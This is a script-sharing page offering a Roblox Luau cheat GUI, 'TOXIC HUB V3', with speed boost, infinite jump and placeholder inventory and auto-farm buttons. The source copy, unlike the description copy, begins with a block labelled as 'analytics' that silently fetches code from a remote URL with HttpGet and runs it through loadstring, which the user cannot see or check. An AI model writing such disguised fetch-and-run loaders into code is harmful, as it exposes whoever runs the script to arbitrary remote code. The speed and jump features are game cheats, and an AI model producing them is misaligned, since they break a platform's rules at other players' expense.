Description
-- ☠ TOXIC HUB V3 local Players = game:GetService("Players") local UIS = game:GetService("UserInputService") local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") -- SETTINGS local PURPLE = Color3.fromRGB(160, 40, 255) local DARK = Color3.fromRGB(18, 12, 28) local farming = false local infiniteJump = false local jumpConnection local inventoryGui -- GUI HELPERS local function make(class, props, parent) local obj = Instance.new (class) for key, value in pairs(props) do obj[key] = value end obj.Parent = parent return obj end local gui = make("ScreenGui", { Name = "TOXIC_HUB", ResetOnSpawn = false }, playerGui) -- MAIN PANEL local frame = make("Frame", { Size = UDim2.fromOffset(300, 490), Position = UDim2.new (0.04, 0, 0.15, 0), BackgroundColor3 = DARK, BorderSizePixel = 0 }, gui) make("UICorner", { CornerRadius = UDim.new (0, 14) }, frame) make("UIStroke", { Color = PURPLE, Thickness = 2 }, frame) -- TITLE local title = make("TextLabel", { Size = UDim2.new (1, -100, 0, 44), Position = UDim2.fromOffset(10, 0), BackgroundTransparency = 1, Text = "☠ TOXIC HUB", TextColor3 = Color3.new (1, 1, 1), TextScaled = true, Font = Enum.Font.GothamBold, TextXAlignment = Enum.TextXAlignment.Left }, frame) local minimize = make("TextButton", { Size = UDim2.fromOffset(32, 30), Position = UDim2.new (1, -74, 0, 7), Text = "_", TextScaled = true, TextColor3 = Color3.new (1, 1, 1), BackgroundColor3 = Color3.fromRGB(70, 35, 100) }, frame) local close = make("TextButton", { Size = UDim2.fromOffset(32, 30), Position = UDim2.new (1, -37, 0, 7), Text = "X", TextScaled = true, TextColor3 = Color3.new (1, 1, 1), BackgroundColor3 = Color3.fromRGB(180, 35, 65) }, frame) local reopen = make("TextButton", { Size = UDim2.fromOffset(115, 42), Position = UDim2.new (0, 12, 0.5, 0), Text = "☠ TOXIC", TextScaled = true, TextColor3 = Color3.new (1, 1, 1), BackgroundColor3 = PURPLE, Visible = false }, gui) make("UICorner", { CornerRadius = UDim.new (0, 10) }, reopen) local status = make("TextLabel", { Size = UDim2.new (1, -20, 0, 27), Position = UDim2.fromOffset(10, 43), BackgroundTransparency = 1, Text = "STATUS: READY", TextColor3 = Color3.fromRGB(210, 160, 255), TextScaled = true, Font = Enum.Font.GothamBold }, frame) -- BUTTON HELPER local function newButton(text, y) local button = make("TextButton", { Size = UDim2.new (1, -20, 0, 39), Position = UDim2.fromOffset(10, y), Text = text, TextColor3 = Color3.new (1, 1, 1), TextScaled = true, Font = Enum.Font.GothamBold, BackgroundColor3 = Color3.fromRGB(65, 25, 100) }, frame) make("UICorner", { CornerRadius = UDim.new (0, 9) }, button) make("UIStroke", { Color = PURPLE, Thickness = 1 }, button) return button end -- ALL BUTTONS local speedButton = newButton("⚡ SPEED +10", 76) local resetSpeed = newButton("↺ RESET SPEED (16)", 119) local jumpButton = newButton("🦘 INFINITE JUMP: OFF", 162) local stopJump = newButton("🛑 STOP INFINITE JUMP", 205) local lookButton = newButton("👀 PLAYER INVENTORY DEMO", 248) local stopLook = newButton("✋ CLOSE INVENTORY VIEW", 291) local autoFarmButton = newButton("💰 AUTO FARM: START", 334) local stopAutoFarmButton = newButton("🛑 STOP AUTO FARM", 377) local function getHumanoid() local character = player.Character return character and character:FindFirstChildOfClass("Humanoid") end -- SPEED +10 speedButton.Activated:Connect(function() local humanoid = getHumanoid() if humanoid then humanoid.WalkSpeed += 10 status.Text = "SPEED: " .. humanoid.WalkSpeed else status.Text = "CHARACTER NOT READY" end end) -- RESET SPEED resetSpeed.Activated:Connect(function() local humanoid = getHumanoid() if humanoid then humanoid.WalkSpeed = 16 end status.Text = "SPEED RESET" end) -- INFINITE JUMP local function stopJumping() infiniteJump = false if jumpConnection then jumpConnection:Disconnect() jumpConnection = nil end jumpButton.Text = "🦘 INFINITE JUMP: OFF" status.Text = "INFINITE JUMP STOPPED" end jumpButton.Activated:Connect(function() if infiniteJump then stopJumping() return end infiniteJump = true jumpButton.Text = "🦘 INFINITE JUMP: ON" status.Text = "INFINITE JUMP ENABLED" jumpConnection = UIS.JumpRequest:Connect(function() if infiniteJump then local humanoid = getHumanoid() if humanoid then humanoid:ChangeState( Enum.HumanoidStateType.Jumping ) end end end) end) stopJump.Activated:Connect(stopJumping) -- INVENTORY DEMO local function closeInventory() if inventoryGui then inventoryGui:Destroy() inventoryGui = nil end status.Text = "INVENTORY VIEW CLOSED" end lookButton.Activated:Connect(function() closeInventory() inventoryGui = make("Frame", { Size = UDim2.fromOffset(260, 180), Position = UDim2.new (0.5, -130, 0.5, -90), BackgroundColor3 = DARK, BorderSizePixel = 0 }, gui) make("UICorner", { CornerRadius = UDim.new (0, 12) }, inventoryGui) make("UIStroke", { Color = PURPLE, Thickness = 2 }, inventoryGui) make("TextLabel", { Size = UDim2.new (1, 0, 0, 42), BackgroundColor3 = PURPLE, Text = "INVENTORY DEMO", TextColor3 = Color3.new (1, 1, 1), TextScaled = true, Font = Enum.Font.GothamBold }, inventoryGui) make("TextLabel", { Size = UDim2.new (1, -20, 1, -55), Position = UDim2.fromOffset(10, 48), BackgroundTransparency = 1, Text = "Connect your own game's inventory data here.", TextWrapped = true, TextColor3 = Color3.new (1, 1, 1), TextScaled = true }, inventoryGui) status.Text = "INVENTORY DEMO OPEN" end) stopLook.Activated:Connect(closeInventory) -- AUTO FARM START / STOP -- UI toggle only. Connect this to your own game's -- server-authorized Brainrot money collection system. autoFarmButton.Activated:Connect(function() farming = true autoFarmButton.Text = "💰 AUTO FARM: RUNNING" status.Text = "FARMING ENABLED" end) stopAutoFarmButton.Activated:Connect(function() farming = false autoFarmButton.Text = "💰 AUTO FARM: START" status.Text = "AUTO FARM STOPPED" end) -- MINIMIZE / CLOSE / REOPEN minimize.Activated:Connect(function() frame.Visible = false reopen.Visible = true end) close.Activated:Connect(function() stopJumping() farming = false closeInventory() frame.Visible = false reopen.Visible = true end) reopen.Activated:Connect(function() frame.Visible = true reopen.Visible = false end) -- DRAG PANEL WITH TOUCH OR MOUSE local dragging = false local dragStart local startPosition title.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPosition = frame.Position end end) UIS.InputChanged:Connect(function(input) if dragging and ( input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch ) then local delta = input.Position - dragStart frame.Position = UDim2.new ( startPosition.X.Scale, startPosition.X.Offset + delta.X, startPosition.Y.Scale, startPosition.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false end end)
Script source Luau
-- [[ BloxScripts Risk Notice ]]
-- This script has not been verified by BloxScripts.fun. Deal with caution.
--
-- Stay safe:
-- • Never log in on unofficial Roblox sites or lookalike domains.
-- • Real Roblox links use roblox.com (check the .com ending).
-- • Treat fake Roblox login / "claim reward" pages as phishing.
-- [[ End BloxScripts Risk Notice ]]
--[[rscripts:analytics:start]]
-- Script analytics (enabled by the creator on rscripts.net).
-- Runs in its own thread and cannot affect the script below.
task.spawn(function()
pcall(function()
loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ad70632cb87f564227dbe83"))()
end)
end)
--[[rscripts:analytics:end]]
-- ☠ TOXIC HUB V3
local Players = game:GetService("Players")
local UIS = game:GetService("UserInputService")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
-- SETTINGS
local PURPLE = Color3.fromRGB(160, 40, 255)
local DARK = Color3.fromRGB(18, 12, 28)
local farming = false
local infiniteJump = false
local jumpConnection
local inventoryGui
-- GUI HELPERS
local function make(class, props, parent)
local obj = Instance.new(class)
for key, value in pairs(props) do
obj[key] = value
end
obj.Parent = parent
return obj
end
local gui = make("ScreenGui", {
Name = "TOXIC_HUB",
ResetOnSpawn = false
}, playerGui)
-- MAIN PANEL
local frame = make("Frame", {
Size = UDim2.fromOffset(300, 490),
Position = UDim2.new(0.04, 0, 0.15, 0),
BackgroundColor3 = DARK,
BorderSizePixel = 0
}, gui)
make("UICorner", {
CornerRadius = UDim.new(0, 14)
}, frame)
make("UIStroke", {
Color = PURPLE,
Thickness = 2
}, frame)
-- TITLE
local title = make("TextLabel", {
Size = UDim2.new(1, -100, 0, 44),
Position = UDim2.fromOffset(10, 0),
BackgroundTransparency = 1,
Text = "☠ TOXIC HUB",
TextColor3 = Color3.new(1, 1, 1),
TextScaled = true,
Font = Enum.Font.GothamBold,
TextXAlignment = Enum.TextXAlignment.Left
}, frame)
local minimize = make("TextButton", {
Size = UDim2.fromOffset(32, 30),
Position = UDim2.new(1, -74, 0, 7),
Text = "_",
TextScaled = true,
TextColor3 = Color3.new(1, 1, 1),
BackgroundColor3 = Color3.fromRGB(70, 35, 100)
}, frame)
local close = make("TextButton", {
Size = UDim2.fromOffset(32, 30),
Position = UDim2.new(1, -37, 0, 7),
Text = "X",
TextScaled = true,
TextColor3 = Color3.new(1, 1, 1),
BackgroundColor3 = Color3.fromRGB(180, 35, 65)
}, frame)
local reopen = make("TextButton", {
Size = UDim2.fromOffset(115, 42),
Position = UDim2.new(0, 12, 0.5, 0),
Text = "☠ TOXIC",
TextScaled = true,
TextColor3 = Color3.new(1, 1, 1),
BackgroundColor3 = PURPLE,
Visible = false
}, gui)
make("UICorner", {
CornerRadius = UDim.new(0, 10)
}, reopen)
local status = make("TextLabel", {
Size = UDim2.new(1, -20, 0, 27),
Position = UDim2.fromOffset(10, 43),
BackgroundTransparency = 1,
Text = "STATUS: READY",
TextColor3 = Color3.fromRGB(210, 160, 255),
TextScaled = true,
Font = Enum.Font.GothamBold
}, frame)
-- BUTTON HELPER
local function newButton(text, y)
local button = make("TextButton", {
Size = UDim2.new(1, -20, 0, 39),
Position = UDim2.fromOffset(10, y),
Text = text,
TextColor3 = Color3.new(1, 1, 1),
TextScaled = true,
Font = Enum.Font.GothamBold,
BackgroundColor3 = Color3.fromRGB(65, 25, 100)
}, frame)
make("UICorner", {
CornerRadius = UDim.new(0, 9)
}, button)
make("UIStroke", {
Color = PURPLE,
Thickness = 1
}, button)
return button
end
-- ALL BUTTONS
local speedButton = newButton("⚡ SPEED +10", 76)
local resetSpeed = newButton("↺ RESET SPEED (16)", 119)
local jumpButton = newButton("🦘 INFINITE JUMP: OFF", 162)
local stopJump = newButton("🛑 STOP INFINITE JUMP", 205)
local lookButton = newButton("👀 PLAYER INVENTORY DEMO", 248)
local stopLook = newButton("✋ CLOSE INVENTORY VIEW", 291)
local autoFarmButton = newButton("💰 AUTO FARM: START", 334)
local stopAutoFarmButton = newButton("🛑 STOP AUTO FARM", 377)
local function getHumanoid()
local character = player.Character
return character and character:FindFirstChildOfClass("Humanoid")
end
-- SPEED +10
speedButton.Activated:Connect(function()
local humanoid = getHumanoid()
if humanoid then
humanoid.WalkSpeed += 10
status.Text = "SPEED: " .. humanoid.WalkSpeed
else
status.Text = "CHARACTER NOT READY"
end
end)
-- RESET SPEED
resetSpeed.Activated:Connect(function()
local humanoid = getHumanoid()
if humanoid then
humanoid.WalkSpeed = 16
end
status.Text = "SPEED RESET"
end)
-- INFINITE JUMP
local function stopJumping()
infiniteJump = false
if jumpConnection then
jumpConnection:Disconnect()
jumpConnection = nil
end
jumpButton.Text = "🦘 INFINITE JUMP: OFF"
status.Text = "INFINITE JUMP STOPPED"
end
jumpButton.Activated:Connect(function()
if infiniteJump then
stopJumping()
return
end
infiniteJump = true
jumpButton.Text = "🦘 INFINITE JUMP: ON"
status.Text = "INFINITE JUMP ENABLED"
jumpConnection = UIS.JumpRequest:Connect(function()
if infiniteJump then
local humanoid = getHumanoid()
if humanoid then
humanoid:ChangeState(
Enum.HumanoidStateType.Jumping
)
end
end
end)
end)
stopJump.Activated:Connect(stopJumping)
-- INVENTORY DEMO
local function closeInventory()
if inventoryGui then
inventoryGui:Destroy()
inventoryGui = nil
end
status.Text = "INVENTORY VIEW CLOSED"
end
lookButton.Activated:Connect(function()
closeInventory()
inventoryGui = make("Frame", {
Size = UDim2.fromOffset(260, 180),
Position = UDim2.new(0.5, -130, 0.5, -90),
BackgroundColor3 = DARK,
BorderSizePixel = 0
}, gui)
make("UICorner", {
CornerRadius = UDim.new(0, 12)
}, inventoryGui)
make("UIStroke", {
Color = PURPLE,
Thickness = 2
}, inventoryGui)
make("TextLabel", {
Size = UDim2.new(1, 0, 0, 42),
BackgroundColor3 = PURPLE,
Text = "INVENTORY DEMO",
TextColor3 = Color3.new(1, 1, 1),
TextScaled = true,
Font = Enum.Font.GothamBold
}, inventoryGui)
make("TextLabel", {
Size = UDim2.new(1, -20, 1, -55),
Position = UDim2.fromOffset(10, 48),
BackgroundTransparency = 1,
Text = "Connect your own game's inventory data here.",
TextWrapped = true,
TextColor3 = Color3.new(1, 1, 1),
TextScaled = true
}, inventoryGui)
status.Text = "INVENTORY DEMO OPEN"
end)
stopLook.Activated:Connect(closeInventory)
-- AUTO FARM START / STOP
-- UI toggle only. Connect this to your own game's
-- server-authorized Brainrot money collection system.
autoFarmButton.Activated:Connect(function()
farming = true
autoFarmButton.Text = "💰 AUTO FARM: RUNNING"
status.Text = "FARMING ENABLED"
end)
stopAutoFarmButton.Activated:Connect(function()
farming = false
autoFarmButton.Text = "💰 AUTO FARM: START"
status.Text = "AUTO FARM STOPPED"
end)
-- MINIMIZE / CLOSE / REOPEN
minimize.Activated:Connect(function()
frame.Visible = false
reopen.Visible = true
end)
close.Activated:Connect(function()
stopJumping()
farming = false
closeInventory()
frame.Visible = false
reopen.Visible = true
end)
reopen.Activated:Connect(function()
frame.Visible = true
reopen.Visible = false
end)
-- DRAG PANEL WITH TOUCH OR MOUSE
local dragging = false
local dragStart
local startPosition
title.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1
or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPosition = frame.Position
end
end)
UIS.InputChanged:Connect(function(input)
if dragging and (
input.UserInputType == Enum.UserInputType.MouseMovement
or input.UserInputType == Enum.UserInputType.Touch
) then
local delta = input.Position - dragStart
frame.Position = UDim2.new(
startPosition.X.Scale,
startPosition.X.Offset + delta.X,
startPosition.Y.Scale,
startPosition.Y.Offset + delta.Y
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1
or input.UserInputType == Enum.UserInputType.Touch then
dragging = false
end
end)
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